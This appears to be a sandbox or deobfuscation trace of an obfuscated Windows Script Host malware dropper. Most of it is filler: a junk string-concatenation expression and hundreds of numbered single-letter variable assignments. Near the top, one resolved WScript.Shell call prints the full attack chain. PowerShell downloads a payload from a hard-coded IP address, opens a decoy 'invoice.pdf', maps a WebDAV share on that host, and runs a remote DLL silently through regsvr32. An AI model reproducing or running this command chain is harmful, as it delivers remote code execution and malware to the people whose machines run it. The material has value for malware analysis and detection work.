sdauzrsfu + qkavyohll + qkavyohll + qkavyohll + qkavyohll + iolgz + skmzuq + hqpfmz + qwtoxsf + fnfvq + fnfvq + fnfvq + baxcs + fginykaqn + fginykaqn + jyijrl + iolgz + jvdfwiuz + jvdfwiuz + kenspd + dtqiozxtc + skmzuq + qayckrz + ulefusec + kenspd + qayckrz + baxcs + jgzrzdice + mvwqwulii + bdgjeugw + qwtoxsf + baxcs + qlsxzicxb + hebywa + qayckrz + ulefusec + bdgjeugw + qayckrz + iolgz + iolgz + rfuigw + gtrhnad + qlsxzicxb + vqgicsq + rfuigw + wqlfv + qlsxzicxb + vqgicsq + rfuigw + vqgicsq + hebywa + skazfyyxo + mymappagn + sdauzrsfu + qkavyohll + qkavyohll + qkavyohll + qkavyohll + iolgz + skmzuq + hqpfmz + qwtoxsf + fnfvq + fnfvq + fnfvq + baxcs + fginykaqn + fginykaqn + jyijrl + iolgz + hebywa + skazfyyxo + qlsxzicxb + skazfyyxo + mymappagn + hebywa + gtrhnad + parfzofbr + hebywa + qlsxzicxb + qkavyohll + hebywa + parfzofbr + vqgicsq + skmzuq + ocsav + ocsav, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll",0,false) ➔ 0
14	}
15	endja = "F";
16	endja = "Y";
17	endja = "E";
18	endja = "e";
19	endja = "p";
20	endja = "M";
21	endja = "V";
22	endja = "v";
23	endja = "k";
24	endja = "v";
25	endja = "d";
26	endja = "b";
27	endja = "u";
28	endja = "G";
29	endja = "Y";
30	endja = "R";
31	endja = "F";
32	endja = "k";
33	endja = "m";
34	endja = "M";
35	endja = "O";
36	endja = "Z";
37	endja = "h";
38	endja = "E";
39	endja = "W";
40	endja = "R";
41	endja = "I";
42	endja = "y";
43	endja = "l";
44	endja = "F";
45	endja = "w";
46	endja = "P";
47	endja = "y";
48	endja = "P";
49	endja = "t";
50	endja = "c";
51	endja = "e";
52	endja = "x";
53	endja = "A";
54	endja = "v";
55	endja = "f";
56	endja = "N";
57	endja = "Z";
58	endja = "Q";
59	mtrtvy = "N";
60	mtrtvy = "L";
61	mtrtvy = "i";
62	mtrtvy = "x";
63	mtrtvy = "v";
64	mtrtvy = "R";
65	mtrtvy = "u";
66	mtrtvy = "O";
67	rfuigw = "i";
68	rfuigw = "e";
69	rfuigw = "Q";
70	rfuigw = "D";
71	rfuigw = "G";
72	rfuigw = "Y";
73	rfuigw = "o";
74	rfuigw = "i";
75	rfuigw = "Z";
76	rfuigw = "q";
77	rfuigw = "o";
78	rfuigw = "R";
79	rfuigw = "J";
80	rfuigw = "d";
81	rfuigw = "b";
82	rfuigw = "q";
83	rfuigw = "A";
84	rfuigw = "m";
85	rfuigw = "B";
86	rfuigw = "w";
87	rfuigw = "t";
88	rfuigw = "M";
89	rfuigw = "z";
90	rfuigw = "b";
91	rfuigw = "Q";
92	rfuigw = "X";
93	rfuigw = "C";
94	rfuigw = "z";
95	rfuigw = "1";
96	gtrhnad = "M";
97	gtrhnad = "V";
98	gtrhnad = "s";
99	gtrhnad = "C";
100	gtrhnad = "B";
101	gtrhnad = "h";
102	gtrhnad = "Z";
103	gtrhnad = "D";
104	gtrhnad = "U";
105	gtrhnad = "9";
106	twyxwuoa = "V";
107	twyxwuoa = "X";
108	twyxwuoa = "n";
109	twyxwuoa = "p";
110	twyxwuoa = "l";
111	twyxwuoa = "v";
112	twyxwuoa = "n";
113	twyxwuoa = "U";
114	twyxwuoa = "L";
115	twyxwuoa = "J";
116	twyxwuoa = "i";
117	twyxwuoa = "m";
118	twyxwuoa = "P";
119	twyxwuoa = "i";
120	twyxwuoa = "u";
121	twyxwuoa = "r";
122	twyxwuoa = "N";
123	twyxwuoa = "R";
124	twyxwuoa = "W";
125	twyxwuoa = "I";
126	twyxwuoa = "q";
127	twyxwuoa = "l";
128	twyxwuoa = "N";
129	urbyyk = "s";
130	urbyyk = "t";
131	urbyyk = "w";
132	urbyyk = "x";
133	urbyyk = "J";
134	urbyyk = "E";
135	urbyyk = "r";
136	urbyyk = "l";
137	urbyyk = "E";
138	cjtupupm = "X";
139	cjtupupm = "y";
140	cjtupupm = "p";
141	cjtupupm = "v";
142	cjtupupm = "g";
143	cjtupupm = "M";
144	cjtupupm = "J";
145	cjtupupm = "p";
146	cjtupupm = "E";
147	cjtupupm = "n";
148	cjtupupm = "J";
149	cjtupupm = "L";
150	cjtupupm = "Z";
151	cjtupupm = "d";
152	cjtupupm = "g";
153	cjtupupm = "p";
154	cjtupupm = "l";
155	cjtupupm = "c";
156	cjtupupm = "A";
157	cjtupupm = "r";
158	cjtupupm = "y";
159	cjtupupm = "n";
160	cjtupupm = "r";
161	cjtupupm = "a";
162	cjtupupm = "F";
163	cjtupupm = "t";
164	cjtupupm = "g";
165	cjtupupm = "z";
166	cjtupupm = "Z";
167	cjtupupm = "v";
168	cjtupupm = "v";
169	cjtupupm = "n";
170	wqhhgwgx = "p";
171	wqhhgwgx = "x";
172	wqhhgwgx = "X";
173	wqhhgwgx = "d";
174	wqhhgwgx = "T";
175	wqhhgwgx = "V";
176	wqhhgwgx = "e";
177	wqhhgwgx = "s";
178	wqhhgwgx = "D";
179	wqhhgwgx = "L";
180	wqhhgwgx = "x";
181	wqhhgwgx = "r";
182	wqhhgwgx = "i";
183	ruolimf = "S";
184	ruolimf = "h";
185	ruolimf = "u";
186	ruolimf = "K";
187	ruolimf = "b";
188	ruolimf = "t";
189	ruolimf = "q";
190	ruolimf = "b";
191	ruolimf = "w";
192	ruolimf = "X";
193	ruolimf = "F";
194	ruolimf = "Q";
195	ruolimf = "N";
196	ruolimf = "L";
197	ruolimf = "z";
198	ruolimf = "h";
199	ruolimf = "D";
200	ruolimf = "p";
201	ruolimf = "R";
202	ruolimf = "m";
203	ruolimf = "p";
204	ruolimf = "L";
205	parfzofbr = "O";
206	parfzofbr = "O";
207	parfzofbr = "b";
208	parfzofbr = "G";
209	parfzofbr = "q";
210	parfzofbr = "J";
211	parfzofbr = "q";
212	parfzofbr = "g";
213	parfzofbr = "w";
214	parfzofbr = "U";
215	parfzofbr = "p";
216	parfzofbr = "V";
217	parfzofbr = "E";
218	parfzofbr = "q";
219	parfzofbr = "t";
220	parfzofbr = "K";
221	parfzofbr = "Y";
222	parfzofbr = "A";
223	parfzofbr = "f";
224	parfzofbr = "P";
225	parfzofbr = "D";
226	parfzofbr = "J";
227	parfzofbr = "7";
228	fskimzdbd = "E";
229	fskimzdbd = "B";
230	fskimzdbd = "k";
231	fskimzdbd = "b";
232	fskimzdbd = "H";
233	fskimzdbd = "l";
234	fskimzdbd = "C";
235	fskimzdbd = "Y";
236	fskimzdbd = "H";
237	fskimzdbd = "w";
238	fskimzdbd = "R";
239	fskimzdbd = "j";
240	fskimzdbd = "M";
241	fskimzdbd = "T";
242	fskimzdbd = "b";
243	fskimzdbd = "W";
244	fskimzdbd = "D";
245	fskimzdbd = "q";
246	fskimzdbd = "c";
247	fskimzdbd = "I";
248	fskimzdbd = "q";
249	fnfvq = "j";
250	fnfvq = "u";
251	fnfvq = "H";
252	fnfvq = "v";
253	fnfvq = "b";
254	fnfvq = "p";
255	fnfvq = "k";
256	fnfvq = "I";
257	fnfvq = "L";
258	fnfvq = "U";
259	fnfvq = "M";
260	fnfvq = "a";
261	fnfvq = "S";
262	fnfvq = "J";
263	fnfvq = "D";
264	fnfvq = "C";
265	fnfvq = "s";
266	fnfvq = "s";
267	fnfvq = "w";
268	noctzy = "g";
269	noctzy = "q";
270	noctzy = "c";
271	noctzy = "x";
272	noctzy = "l";
273	noctzy = "L";
274	noctzy = "f";
275	noctzy = "u";
276	noctzy = "U";
277	noctzy = "w";
278	noctzy = "v";
279	noctzy = "y";
280	noctzy = "f";
281	noctzy = "D";
282	noctzy = "t";
283	noctzy = "z";
284	noctzy = "o";
285	noctzy = "t";
286	noctzy = "m";
287	noctzy = "Q";
288	noctzy = "l";
289	noctzy = "O";
290	noctzy = "K";
291	noctzy = "L";
292	noctzy = "t";
293	noctzy = "K";
294	noctzy = "z";
295	noctzy = "X";
296	noctzy = "T";
297	noctzy = "D";
298	noctzy = "q";
299	noctzy = "d";
300	noctzy = "m";
301	noctzy = "q";
302	noctzy = "q";
303	noctzy = "k";
304	noctzy = "n";
305	noctzy = "\"";
306	hebywa = "a";
307	hebywa = "F";
308	hebywa = "J";
309	hebywa = "g";
310	hebywa = "L";
311	hebywa = "R";
312	hebywa = "q";
313	hebywa = "R";
314	hebywa = "G";
315	hebywa = "N";
316	hebywa = "J";
317	hebywa = "o";
318	hebywa = "z";
319	hebywa = "Y";
320	hebywa = "U";
321	hebywa = "o";
322	hebywa = "S";
323	hebywa = "t";
324	hebywa = "t";
325	hebywa = "w";
326	hebywa = "s";
327	hebywa = "C";
328	hebywa = "J";
329	hebywa = "m";
330	hebywa = "f";
331	hebywa = "Z";
332	hebywa = "V";
333	hebywa = "q";
334	hebywa = "A";
335	hebywa = "B";
336	hebywa = "s";
337	hebywa = "y";
338	hebywa = "u";
339	hebywa = "P";
340	hebywa = "M";
341	hebywa = "X";
342	hebywa = "T";
343	hebywa = "e";
344	hebywa = "l";
345	hebywa = "F";
346	hebywa = "F";
347	hebywa = "2";
348	hzpqqfy = "o";
349	hzpqqfy = "u";
350	xlvwbdncd = "P";
351	xlvwbdncd = "O";
352	xlvwbdncd = "c";
353	xlvwbdncd = "t";
354	xlvwbdncd = "T";
355	xlvwbdncd = "O";
356	xlvwbdncd = "w";
357	xlvwbdncd = "y";
358	xlvwbdncd = "%";
359	fginykaqn = "R";
360	fginykaqn = "B";
361	fginykaqn = "h";
362	fginykaqn = "j";
363	fginykaqn = "y";
364	fginykaqn = "g";
365	fginykaqn = "W";
366	fginykaqn = "p";
367	fginykaqn = "j";
368	fginykaqn = "P";
369	fginykaqn = "p";
370	fginykaqn = "A";
371	fginykaqn = "B";
372	fginykaqn = "s";
373	fginykaqn = "k";
374	fginykaqn = "y";
375	fginykaqn = "S";
376	fginykaqn = "V";
377	fginykaqn = "h";
378	fginykaqn = "Q";
379	fginykaqn = "g";
380	fginykaqn = "K";
381	fginykaqn = "d";
382	fginykaqn = "T";
383	fginykaqn = "x";
384	fginykaqn = "T";
385	fginykaqn = "n";
386	fginykaqn = "c";
387	fginykaqn = "h";
388	fginykaqn = "j";
389	fginykaqn = "l";
390	fginykaqn = "L";
391	fginykaqn = "z";
392	fginykaqn = "P";
393	fginykaqn = "o";
394	fginykaqn = "A";
395	fginykaqn = "q";
396	fginykaqn = "W";
397	fginykaqn = "Z";
398	fginykaqn = "K";
399	fginykaqn = "d";
400	fginykaqn = "Y";
401	fginykaqn = "G";
402	fginykaqn = "o";
403	vljlp = "S";
404	vljlp = "V";
405	vljlp = "u";
406	vljlp = "W";
407	vljlp = "s";
408	vljlp = "z";
409	vljlp = "A";
410	vljlp = "B";
411	vljlp = "s";
412	vljlp = "G";
413	vljlp = "A";
414	vljlp = "U";
415	vljlp = "t";
416	vljlp = "t";
417	vljlp = "r";
418	vljlp = "N";
419	vljlp = "u";
420	vljlp = "Z";
421	vljlp = "V";
422	vljlp = "V";
423	vljlp = "l";
424	vljlp = "V";
425	vljlp = "X";
426	vljlp = "x";
427	vljlp = "Q";
428	vljlp = "O";
429	vljlp = "f";
430	vljlp = "w";
431	vljlp = "Q";
432	vljlp = "v";
433	vljlp = "e";
434	vljlp = "X";
435	vljlp = "o";
436	vljlp = "f";
437	vljlp = "y";
438	vljlp = "b";
439	vljlp = "V";
440	vljlp = "n";
441	vljlp = "d";
442	vljlp = "p";
443	vljlp = "i";
444	vljlp = "K";
445	vljlp = "r";
446	vljlp = "h";
447	xlomimf = "H";
448	ocsav = "e";
449	ocsav = "X";
450	ocsav = "D";
451	ocsav = "F";
452	ocsav = "h";
453	ocsav = "l";
454	mvwqwulii = "T";
455	mvwqwulii = "g";
456	mvwqwulii = "x";
457	mvwqwulii = "F";
458	mvwqwulii = "h";
459	mvwqwulii = "U";
460	mvwqwulii = "N";
461	mvwqwulii = "d";
462	mvwqwulii = "F";
463	mvwqwulii = "I";
464	mvwqwulii = "F";
465	mvwqwulii = "j";
466	mvwqwulii = "D";
467	mvwqwulii = "S";
468	mvwqwulii = "K";
469	mvwqwulii = "r";
470	mvwqwulii = "C";
471	mvwqwulii = "C";
472	mvwqwulii = "y";
473	mvwqwulii = "V";
474	mvwqwulii = "c";
475	mvwqwulii = "k";
476	mvwqwulii = "f";
477	mvwqwulii = "g";
478	fzlbhvzw = "l";
479	fzlbhvzw = "R";
480	fzlbhvzw = "v";
481	fzlbhvzw = "e";
482	fzlbhvzw = "L";
483	fzlbhvzw = "q";
484	fzlbhvzw = "Z";
485	fzlbhvzw = "q";
486	fzlbhvzw = "s";
487	fzlbhvzw = "B";
488	fzlbhvzw = "j";
489	fzlbhvzw = "v";
490	fzlbhvzw = "K";
491	ulefusec = "F";
492	ulefusec = "m";
493	ulefusec = "F";
494	ulefusec = "Q";
495	ulefusec = "C";
496	ulefusec = "J";
497	ulefusec = "S";
498	ulefusec = "C";
499	ulefusec = "L";
500	ulefusec = "O";
501	ulefusec = "g";
502	ulefusec = "M";
503	ulefusec = "g";
504	ulefusec = "R";
505	ulefusec = "f";
506	ulefusec = "W";
507	ulefusec = "d";
508	ulefusec = "e";
509	ulefusec = "/";
510	vlfvbob = "C";
511	vlfvbob = "W";
512	vlfvbob = "b";
513	vlfvbob = "w";
514	vlfvbob = "i";
515	vlfvbob = "N";
516	vlfvbob = "a";
517	vlfvbob = "C";
518	vlfvbob = "F";
519	vlfvbob = "G";
520	vlfvbob = "k";
521	vlfvbob = "f";
522	vlfvbob = "u";
523	vlfvbob = "e";
524	vlfvbob = "U";
525	yqcts = "z";
526	yqcts = "r";
527	yqcts = "Q";
528	yqcts = "a";
529	yqcts = "E";
530	yqcts = "r";
531	yqcts = "Q";
532	yqcts = "g";
533	yqcts = "A";
534	yqcts = "r";
535	yqcts = "d";
536	yqcts = "K";
537	yqcts = "g";
538	yqcts = "g";
539	yqcts = "I";
540	yqcts = "a";
541	yqcts = "C";
542	yqcts = "e";
543	yqcts = "y";
544	yqcts = "N";
545	yqcts = "q";
546	yqcts = "f";
547	yqcts = "H";
548	yqcts = "p";
549	yqcts = "n";
550	yqcts = "h";
551	yqcts = "U";
552	yqcts = "k";
553	yqcts = "S";
554	sdauzrsfu = "W";
555	sdauzrsfu = "Q";
556	sdauzrsfu = "U";
557	sdauzrsfu = "q";
558	sdauzrsfu = "y";
559	sdauzrsfu = "Z";
560	sdauzrsfu = "t";
561	sdauzrsfu = "s";
562	sdauzrsfu = "y";
563	sdauzrsfu = "y";
564	sdauzrsfu = "a";
565	sdauzrsfu = "I";
566	sdauzrsfu = "t";
567	sdauzrsfu = "E";
568	sdauzrsfu = "Q";
569	sdauzrsfu = "e";
570	sdauzrsfu = "P";
571	sdauzrsfu = "b";
572	sdauzrsfu = "L";
573	sdauzrsfu = "F";
574	sdauzrsfu = "W";
575	sdauzrsfu = "h";
576	sdauzrsfu = "t";
577	sdauzrsfu = "a";
578	sdauzrsfu = "k";
579	sdauzrsfu = "o";
580	sdauzrsfu = "q";
581	sdauzrsfu = "V";
582	sdauzrsfu = "o";
583	sdauzrsfu = "G";
584	sdauzrsfu = "c";
585	sdauzrsfu = "e";
586	sdauzrsfu = "x";
587	sdauzrsfu = "T";
588	sdauzrsfu = "q";
589	sdauzrsfu = "j";
590	sdauzrsfu = "N";
591	sdauzrsfu = "g";
592	sdauzrsfu = "K";
593	sdauzrsfu = "P";
594	sdauzrsfu = "@";
595	jvdfwiuz = "l";
596	jvdfwiuz = "h";
597	jvdfwiuz = "Y";
598	jvdfwiuz = "J";
599	jvdfwiuz = "Y";
600	jvdfwiuz = "q";
601	jvdfwiuz = "R";
602	jvdfwiuz = "q";
603	jvdfwiuz = "Y";
604	jvdfwiuz = "k";
605	jvdfwiuz = "l";
606	jvdfwiuz = "&";
607	qayckrz = "z";
608	qayckrz = "d";
609	qayckrz = "g";
610	qayckrz = "r";
611	qayckrz = "H";
612	qayckrz = "N";
613	qayckrz = "w";
614	qayckrz = "X";
615	qayckrz = "a";
616	qayckrz = "B";
617	qayckrz = "c";
618	qayckrz = "S";
619	qayckrz = "E";
620	qayckrz = "I";
621	qayckrz = "o";
622	qayckrz = "p";
623	qayckrz = "K";
624	qayckrz = "J";
625	qayckrz = "d";
626	qayckrz = " ";
627	lzxujd = "d";
628	lzxujd = "U";
629	lzxujd = "Z";
630	lzxujd = "h";
631	lzxujd = "r";
632	lzxujd = "N";
633	lzxujd = "x";
634	lzxujd = "E";
635	lzxujd = "w";
636	lzxujd = "k";
637	lzxujd = "j";
638	lzxujd = "p";
639	lzxujd = "y";
640	lzxujd = "u";
641	lzxujd = "t";
642	lzxujd = "s";
643	lzxujd = "F";
644	lzxujd = "g";
645	lzxujd = "E";
646	lzxujd = "f";
647	lzxujd = "B";
648	lzxujd = "b";
649	lzxujd = "z";
650	lzxujd = "n";
651	lzxujd = "R";
652	wqlfv = "A";
653	wqlfv = "W";
654	wqlfv = "b";
655	wqlfv = "J";
656	wqlfv = "X";
657	wqlfv = "Q";
658	wqlfv = "N";
659	wqlfv = "y";
660	wqlfv = "q";
661	wqlfv = "y";
662	wqlfv = "r";
663	wqlfv = "X";
664	wqlfv = "i";
665	wqlfv = "y";
666	wqlfv = "X";
667	wqlfv = "y";
668	wqlfv = "m";
669	wqlfv = "g";
670	wqlfv = "i";
671	wqlfv = "U";
672	wqlfv = "4";
673	hlblkfrxf = "R";
674	hlblkfrxf = "d";
675	hlblkfrxf = "g";
676	hlblkfrxf = "y";
677	hlblkfrxf = "O";
678	hlblkfrxf = "w";
679	hlblkfrxf = "n";
680	hlblkfrxf = "K";
681	hlblkfrxf = "T";
682	hlblkfrxf = "Y";
683	hlblkfrxf = "p";
684	hlblkfrxf = "r";
685	hlblkfrxf = "u";
686	hlblkfrxf = "l";
687	hlblkfrxf = "d";
688	hlblkfrxf = "S";
689	hlblkfrxf = "r";
690	hlblkfrxf = "c";
691	hlblkfrxf = "I";
692	hlblkfrxf = "q";
693	hlblkfrxf = "C";
694	hlblkfrxf = "D";
695	hlblkfrxf = "j";
696	uqwdbzrj = "U";
697	uqwdbzrj = "n";
698	uqwdbzrj = "U";
699	uqwdbzrj = "i";
700	uqwdbzrj = "Q";
701	uqwdbzrj = "O";
702	uqwdbzrj = "A";
703	uqwdbzrj = "d";
704	uqwdbzrj = "F";
705	uqwdbzrj = "Y";
706	uqwdbzrj = "e";
707	uqwdbzrj = "g";
708	uqwdbzrj = "M";
709	uqwdbzrj = "o";
710	uqwdbzrj = "u";
711	uqwdbzrj = "G";
712	uqwdbzrj = "J";
713	uqwdbzrj = "u";
714	uqwdbzrj = "z";
715	uqwdbzrj = "V";
716	uqwdbzrj = "g";
717	uqwdbzrj = "a";
718	uqwdbzrj = "m";
719	uqwdbzrj = "h";
720	uqwdbzrj = "F";
721	uqwdbzrj = "D";
722	uqwdbzrj = "f";
723	uqwdbzrj = "b";
724	uqwdbzrj = "B";
725	uqwdbzrj = "t";
726	uqwdbzrj = "G";
727	uqwdbzrj = "X";
728	uqwdbzrj = "j";
729	uqwdbzrj = "T";
730	uqwdbzrj = "A";
731	uqwdbzrj = "f";
732	uqwdbzrj = "f";
733	uqwdbzrj = "z";
734	uqwdbzrj = "R";
735	uqwdbzrj = "p";
736	uqwdbzrj = "z";
737	uqwdbzrj = "r";
738	uqwdbzrj = "x";
739	skmzuq = "o";
740	skmzuq = "z";
741	skmzuq = "U";
742	skmzuq = "o";
743	skmzuq = "s";
744	skmzuq = "Q";
745	skmzuq = "N";
746	skmzuq = "u";
747	skmzuq = "I";
748	skmzuq = "B";
749	skmzuq = "g";
750	skmzuq = "F";
751	skmzuq = "A";
752	skmzuq = "s";
753	skmzuq = "Y";
754	skmzuq = "j";
755	skmzuq = "D";
756	skmzuq = "x";
757	skmzuq = "I";
758	skmzuq = "C";
759	skmzuq = "l";
760	skmzuq = "D";
761	skmzuq = "b";
762	skmzuq = "G";
763	skmzuq = "v";
764	skmzuq = "b";
765	skmzuq = "d";
766	skmzuq = "P";
767	skmzuq = "c";
768	skmzuq = "I";
769	skmzuq = "O";
770	skmzuq = "U";
771	skmzuq = "q";
772	skmzuq = "x";
773	skmzuq = "j";
774	skmzuq = "r";
775	skmzuq = "e";
776	skmzuq = "a";
777	skmzuq = "U";
778	skmzuq = "r";
779	skmzuq = "t";
780	skmzuq = "y";
781	skmzuq = "Z";
782	skmzuq = "d";
783	xbcazi = "a";
784	xbcazi = "M";
785	xbcazi = "y";
786	xbcazi = "R";
787	xbcazi = "r";
788	xbcazi = "B";
789	xbcazi = "e";
790	xbcazi = "d";
791	xbcazi = "f";
792	xbcazi = "W";
793	xbcazi = "N";
794	xbcazi = "f";
795	xbcazi = "R";
796	xbcazi = "i";
797	xbcazi = "z";
798	xbcazi = "G";
799	xbcazi = "o";
800	xbcazi = "b";
801	xbcazi = "e";
802	xbcazi = "X";
803	xbcazi = "T";
804	xbcazi = "O";
805	xbcazi = "s";
806	xbcazi = "J";
807	xbcazi = "t";
808	xbcazi = "v";
809	xbcazi = "d";
810	xbcazi = "P";
811	xbcazi = "H";
812	xbcazi = "z";
813	xbcazi = "l";
814	xbcazi = "J";
815	xbcazi = "v";
816	xbcazi = "h";
817	xbcazi = "z";
818	xbcazi = "T";
819	xbcazi = "f";
820	xbcazi = "J";
821	xbcazi = "P";
822	quxkw = "q";
823	quxkw = "p";
824	quxkw = "f";
825	quxkw = "r";
826	quxkw = "g";
827	quxkw = "F";
828	quxkw = "P";
829	quxkw = "R";
830	quxkw = "d";
831	quxkw = ":";
832	cggol = "G";
833	cggol = "y";
834	cggol = "t";
835	cggol = "E";
836	cggol = "z";
837	cggol = "Z";
838	cggol = "U";
839	cggol = "V";
840	cggol = "E";
841	cggol = "H";
842	cggol = "R";
843	cggol = "l";
844	cggol = "b";
845	cggol = "Y";
846	cggol = "I";
847	cggol = "Y";
848	skazfyyxo = "z";
849	skazfyyxo = "f";
850	skazfyyxo = "d";
851	skazfyyxo = "T";
852	skazfyyxo = "T";
853	skazfyyxo = "v";
854	skazfyyxo = "m";
855	skazfyyxo = "P";
856	skazfyyxo = "q";
857	skazfyyxo = "v";
858	skazfyyxo = "Z";
859	skazfyyxo = "b";
860	skazfyyxo = "o";
861	skazfyyxo = "z";
862	skazfyyxo = "F";
863	skazfyyxo = "L";
864	skazfyyxo = "e";
865	skazfyyxo = "W";
866	skazfyyxo = "P";
867	skazfyyxo = "k";
868	skazfyyxo = "B";
869	skazfyyxo = "A";
870	skazfyyxo = "G";
871	skazfyyxo = "V";
872	skazfyyxo = "X";
873	skazfyyxo = "v";
874	skazfyyxo = "E";
875	skazfyyxo = "e";
876	skazfyyxo = "E";
877	skazfyyxo = "d";
878	skazfyyxo = "0";
879	bdgjeugw = "J";
880	bdgjeugw = "y";
881	bdgjeugw = "I";
882	bdgjeugw = "e";
883	bdgjeugw = "O";
884	bdgjeugw = "s";
885	bdgjeugw = "x";
886	bdgjeugw = "r";
887	bdgjeugw = "v";
888	bdgjeugw = "X";
889	bdgjeugw = "j";
890	bdgjeugw = "x";
891	bdgjeugw = "F";
892	bdgjeugw = "p";
893	bdgjeugw = "B";
894	bdgjeugw = "A";
895	bdgjeugw = "U";
896	bdgjeugw = "s";
897	vqgicsq = "s";
898	vqgicsq = "Y";
899	vqgicsq = "W";
900	vqgicsq = "X";
901	vqgicsq = ".";
902	vpgbn = "X";
903	vpgbn = "z";
904	vpgbn = "O";
905	vpgbn = "p";
906	vpgbn = "B";
907	vpgbn = "o";
908	vpgbn = "W";
909	vpgbn = "o";
910	vpgbn = "E";
911	vpgbn = "O";
912	vpgbn = "L";
913	vpgbn = "i";
914	vpgbn = "V";
915	vpgbn = "B";
916	vpgbn = "I";
917	fxxhzdukp = "O";
918	fxxhzdukp = "V";
919	fxxhzdukp = "Z";
920	fxxhzdukp = "D";
921	fxxhzdukp = "s";
922	fxxhzdukp = "A";
923	fxxhzdukp = "T";
924	fxxhzdukp = "c";
925	fxxhzdukp = "X";
926	fxxhzdukp = "J";
927	fxxhzdukp = "f";
928	fxxhzdukp = "J";
929	fxxhzdukp = "m";
930	fxxhzdukp = "U";
931	fxxhzdukp = "N";
932	fxxhzdukp = "Z";
933	fxxhzdukp = "s";
934	fxxhzdukp = "k";
935	fxxhzdukp = "W";
936	fxxhzdukp = "t";
937	fxxhzdukp = "p";
938	fxxhzdukp = "D";
939	fxxhzdukp = "k";
940	fxxhzdukp = "f";
941	fxxhzdukp = "V";
942	fxxhzdukp = "G";
943	fxxhzdukp = "T";
944	fxxhzdukp = "l";
945	fxxhzdukp = "S";
946	fxxhzdukp = "N";
947	fxxhzdukp = "D";
948	fxxhzdukp = "i";
949	fxxhzdukp = "a";
950	fxxhzdukp = "I";
951	fxxhzdukp = "v";
952	fxxhzdukp = "F";
953	fxxhzdukp = "f";
954	zqolfouxc = "U";
955	zqolfouxc = "g";
956	zqolfouxc = "F";
957	zqolfouxc = "i";
958	zqolfouxc = "d";
959	zqolfouxc = "U";
960	zqolfouxc = "V";
961	zqolfouxc = "x";
962	zqolfouxc = "N";
963	zqolfouxc = "h";
964	zqolfouxc = "O";
965	zqolfouxc = "d";
966	zqolfouxc = "z";
967	zqolfouxc = "r";
968	zqolfouxc = "S";
969	zqolfouxc = "H";
970	zqolfouxc = "b";
971	zqolfouxc = "i";
972	zqolfouxc = "i";
973	zqolfouxc = "T";
974	zqolfouxc = "f";
975	zqolfouxc = "C";
976	zqolfouxc = "o";
977	zqolfouxc = "m";
978	zqolfouxc = "o";
979	zqolfouxc = "o";
980	zqolfouxc = "h";
981	zqolfouxc = "s";
982	zqolfouxc = "R";
983	zqolfouxc = "r";
984	zqolfouxc = "N";
985	zqolfouxc = "g";
986	zqolfouxc = "c";
987	zqolfouxc = "p";
988	zqolfouxc = "g";
989	zqolfouxc = "Q";
990	zqolfouxc = "b";
991	qlsxzicxb = "s";
992	qlsxzicxb = "A";
993	qlsxzicxb = "C";
994	qlsxzicxb = "m";
995	qlsxzicxb = "s";
996	qlsxzicxb = "a";
997	qlsxzicxb = "F";
998	qlsxzicxb = "p";
999	qlsxzicxb = "3";
1000	mymappagn = "D";
1001	mymappagn = "Q";
1002	mymappagn = "b";
1003	mymappagn = "S";
1004	mymappagn = "Z";
1005	mymappagn = "H";
1006	mymappagn = "o";
1007	mymappagn = "O";
1008	mymappagn = "O";
1009	mymappagn = "g";
1010	mymappagn = "Z";
1011	mymappagn = "u";
1012	mymappagn = "p";
1013	mymappagn = "a";
1014	mymappagn = "L";
1015	mymappagn = "P";
1016	mymappagn = "P";
1017	mymappagn = "Y";
1018	mymappagn = "Y";
1019	mymappagn = "A";
1020	mymappagn = "b";
1021	mymappagn = "p";
1022	mymappagn = "m";
1023	mymappagn = "B";
1024	mymappagn = "H";
1025	mymappagn = "h";
1026	mymappagn = "p";
1027	mymappagn = "B";
1028	mymappagn = "L";
1029	mymappagn = "H";
1030	mymappagn = "f";
1031	mymappagn = "F";
1032	mymappagn = "u";
1033	mymappagn = "C";
1034	mymappagn = "j";
1035	mymappagn = "M";
1036	mymappagn = "M";
1037	mymappagn = "V";
1038	mymappagn = "5";
1039	qnkvvuy = "d";
1040	qnkvvuy = "Q";
1041	qnkvvuy = "o";
1042	qnkvvuy = "K";
1043	qnkvvuy = "c";
1044	qnkvvuy = "U";
1045	qnkvvuy = "v";
1046	qnkvvuy = "M";
1047	qnkvvuy = "T";
1048	qnkvvuy = "U";
1049	qnkvvuy = "k";
1050	qnkvvuy = "y";
1051	qnkvvuy = "B";
1052	qnkvvuy = "P";
1053	qnkvvuy = "D";
1054	qnkvvuy = "l";
1055	qnkvvuy = "C";
1056	qnkvvuy = "q";
1057	qnkvvuy = "N";
1058	qnkvvuy = "_";
1059	jyijrl = "j";
1060	jyijrl = "K";
1061	jyijrl = "l";
1062	jyijrl = "M";
1063	jyijrl = "t";
1064	iolgz = "n";
1065	iolgz = "O";
1066	iolgz = "e";
1067	iolgz = "n";
1068	iolgz = "V";
1069	iolgz = "S";
1070	iolgz = "F";
1071	iolgz = "k";
1072	iolgz = "T";
1073	iolgz = "z";
1074	iolgz = "B";
1075	iolgz = "l";
1076	iolgz = "t";
1077	iolgz = "c";
1078	iolgz = "s";
1079	iolgz = "l";
1080	iolgz = "p";
1081	iolgz = "u";
1082	iolgz = "x";
1083	iolgz = "x";
1084	iolgz = "f";
1085	iolgz = "w";
1086	iolgz = "G";
1087	iolgz = "x";
1088	iolgz = "D";
1089	iolgz = "n";
1090	iolgz = "M";
1091	iolgz = "t";
1092	iolgz = "i";
1093	iolgz = "v";
1094	iolgz = "I";
1095	iolgz = "K";
1096	iolgz = "O";
1097	iolgz = "w";
1098	iolgz = "n";
1099	iolgz = "l";
1100	iolgz = "L";
1101	iolgz = "Q";
1102	iolgz = "d";
1103	iolgz = "c";
1104	iolgz = "\\";
1105	aogyhj = "J";
1106	aogyhj = "Y";
1107	aogyhj = "E";
1108	aogyhj = "C";
1109	aogyhj = "e";
1110	aogyhj = "B";
1111	aogyhj = "H";
1112	aogyhj = "b";
1113	aogyhj = "u";
1114	aogyhj = "u";
1115	aogyhj = "d";
1116	aogyhj = "M";
1117	aogyhj = "g";
1118	aogyhj = "E";
1119	aogyhj = "z";
1120	aogyhj = "B";
1121	aogyhj = "o";
1122	aogyhj = "G";
1123	aogyhj = "A";
1124	aogyhj = "b";
